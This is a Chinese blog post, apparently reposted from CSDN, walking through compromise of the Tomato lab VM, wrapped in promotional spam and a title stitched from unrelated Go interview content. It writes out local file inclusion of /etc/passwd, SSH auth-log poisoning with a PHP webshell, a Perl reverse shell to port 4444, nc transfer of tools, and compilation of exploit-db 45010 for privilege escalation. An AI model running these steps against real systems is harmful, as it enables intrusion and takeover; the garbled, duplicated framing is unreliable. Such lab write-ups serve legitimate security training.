2024年最全靶机实战系列之Tomato靶机(1)，2024年最新20道高频面试题（含答案）

既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，涵盖了95%以上Go语言开发知识点，真正体系化！

由于文件比较多，这里只是将部分目录截图出来，全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频，并且后续会持续更新

如果你需要这些资料，可以戳这里获取

view-source:http://192.168.112.134/antibot_image/antibots/info.php?image=/etc/passwd

![](https://img-blog.csdnimg.cn/img_convert/2d83c6d617ffc0749d713451b55204d5.png)


本地文件包含发现账号tomcat


远程文件包含功能通过info.php发现已经关闭


![](https://img-blog.csdnimg.cn/img_convert/ac1faee1c9e665b9494dc0307a5c5fc5.png)


1.5 写入日志

view-source:http://192.168.112.134/antibot_image/antibots/info.php?image=/var/log/auth.log

![](https://img-blog.csdnimg.cn/img_convert/25dd2bdd253214ce6533ab8f2434b80f.png)


发现存在ubuntu系统默认写入身份认证文件路径

/var/log/auth.log

尝试登录 ssh操作后会写入身份认证日志文件

ssh aaaaaaaaaaaaaaaaa@192.168.112.134 -p 2211

![](https://img-blog.csdnimg.cn/img_convert/627a72dbb40bf5b6d9031a9cb4adbe55.png)


同样的在日志文件中确实发现了存在相关记录


![](https://img-blog.csdnimg.cn/img_convert/1d2f8de5e05b2f55b4f68e78bf2874b7.png)


写入一句话木马

ssh ‘<?php echo system($_GET["cmd"]); ?>’@192.168.112.134 -p 2211

![](https://img-blog.csdnimg.cn/img_convert/4eced7ff582be5203f67f43476bb10d7.png)


并没有一句话木马，脚本已经被加载

view-source:http://192.168.112.134/antibot_image/antibots/info.php?image=/var/log/auth.log&cmd=id

![](https://img-blog.csdnimg.cn/img_convert/ce3c6e6ac60a0b5450c07399a2545798.png)


写入成功！


1.6 反弹shell

view-source:http://192.168.112.134/antibot_image/antibots/info.php?image=/var/log/auth.log&cmd=which%20perl

![外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传](https://img-home.csdnimg.cn/images/20230724024159.png?origin_url=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FCicIXicDugvT2H1xRQNomMQ84JKqZickYnoiblZ6iamslSw4aOW16iaUMjVQKlwMOO9emvicPgYJXSbO8PxoBpgDuX30A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg&pos_id=img-1lSgOsin-1707103229482)


直接反弹shell

perl -MIO -e ‘$p=fork;exit,if($p);$c=newIO::Socket::INET(PeerAddr,"192.168.112.128:4444");STDIN->fdopen($c,r);$->fdopen($c,w);system$_ while<>;’

![](https://img-blog.csdnimg.cn/img_convert/3d5a7a18a2a987c6530702ff8641bd08.png)


1.7 内核漏洞枚举

sudo apt search linux-exploitlinux-exploit-suggesterls /usr/share/linux-exploit-suggester``cp /usr/share/linux-exploit-suggester/linux-exploit-suggester.sh .

linux-exploit-suggester可以用来枚举内核漏洞


![](https://img-blog.csdnimg.cn/img_convert/79f971d4a3a4e2b25da6f05d7c7c7fbe.png)


利用nc传文件

mv linux-exploit-suggester.sh les.shnc 192.168.112.134 4444 < les.sh -w 1nc -nvlp 4444 > les.sh chmod +x les.sh``./les.sh

![](https://img-blog.csdnimg.cn/img_convert/d6313dd40557fe35e6fef0bc42fc99cb.png)


![](https://img-blog.csdnimg.cn/img_convert/72aeb6c05d39d9537765bd5a0dfb027e.png)


传输成功


![](https://img-blog.csdnimg.cn/img_convert/02a04e7642fb50c2e6499eb3d2d5fcea.png)


利用此漏洞成功


发现漏洞号为45010搜索此漏洞,gcc编译,传到靶机

searchsploit 45010cp /usr/share/exploitdb/exploits/linux/local/45010.c .gcc 45010.c -o expnc -lvnp 4444 > expnc 192.168.112.134 4444 < expchmod +x exp./exp

![外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传](https://img-home.csdnimg.cn/images/20230724024159.png?origin_url=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FCicIXicDugvT2H1xRQNomMQ84JKqZickYnoh4ahkCPlTooFj89D7icu3IRq6x4j6q2ARRqf7AkibSputk4VASVVpmvQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg&pos_id=img-JgA5g9zI-1707103229485)


![](https://img-blog.csdnimg.cn/img_convert/fa33d3aaf705b432daf1f5a9c2917f3b.png)


成功！！！


注：如有侵权请后台联系进行删除


觉得内容不错,请点一下"赞"和"在看"


![](https://img-blog.csdnimg.cn/img_convert/042f4f868432386523b69b00160d93a9.gif)


**点击上方公众号**


![](https://img-blog.csdnimg.cn/img_convert/00f88e383ed1fb538351fdc59de76e7d.png)


**关注我们**


![](https://img-blog.csdnimg.cn/img_convert/d2638a8167bc131de6091d31241ee0c9.gif)


往期精彩


[Armitage|MSF图形界面神器]( )


[原创|Searchall3.5.8敏感信息搜索工具]( )


`**黑客&网络安全如何学习**


**今天只要你给我的文章点赞，我私藏的网安学习资料一样免费共享给你们，来看看有哪些东西。**


#### **1.学习路线图**


![](https://img-blog.csdnimg.cn/img_convert/f6d7a70326a6c0071cc4dc6b3eeb8f95.png)


攻击和防守要学的东西也不少，具体要学的东西我都写在了上面的路线图，如果你能学完它们，你去就业和接私活完全没有问题。


#### **2.视频教程**


网上虽然也有很多的学习资源，但基本上都残缺不全的，这是我自己录的网安视频教程，上面路线图的每一个知识点，我都有配套的视频讲解。


内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等，都是网络安全入门必知必会的学习内容。


![](https://img-blog.csdnimg.cn/img_convert/0d8fcc94a8238255b741c19633efd10c.jpeg)


（都打包成一块的了，不能一一展开，总共300多集）


因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取


****************************************************************************************************************************************************************************************************************************************************************[优快云大礼包：《黑客&网络安全入门&进阶学习资源包》免费分享]( )****************************************************************************************************************************************************************************************************************************************************************


#### **3.技术文档和电子书**


技术文档也是我自己整理的，包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点，电子书也有200多本，由于内容的敏感性，我就不一一展示了。


![](https://img-blog.csdnimg.cn/63797fd6c6664609870eac7e724a37db.jpeg#pic_center)


因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取


****************************************************************************************************************************************************************************************************************************************************************[优快云大礼包：《黑客&网络安全入门&进阶学习资源包》免费分享]( )****************************************************************************************************************************************************************************************************************************************************************


![img](https://img-blog.csdnimg.cn/img_convert/f6d6ea87dd4099fb65973c559671166f.png)
![img](https://img-blog.csdnimg.cn/img_convert/649ab3f8dde6d936081697bc7e04aea2.png)

**网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。**

**[需要这份系统化的资料的朋友，可以添加戳这里获取](https://bbs.youkuaiyun.com/topics/618658159)**


**一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！**

bf1n-1715733717486)]

**网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。**

**[需要这份系统化的资料的朋友，可以添加戳这里获取](https://bbs.youkuaiyun.com/topics/618658159)**


**一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！**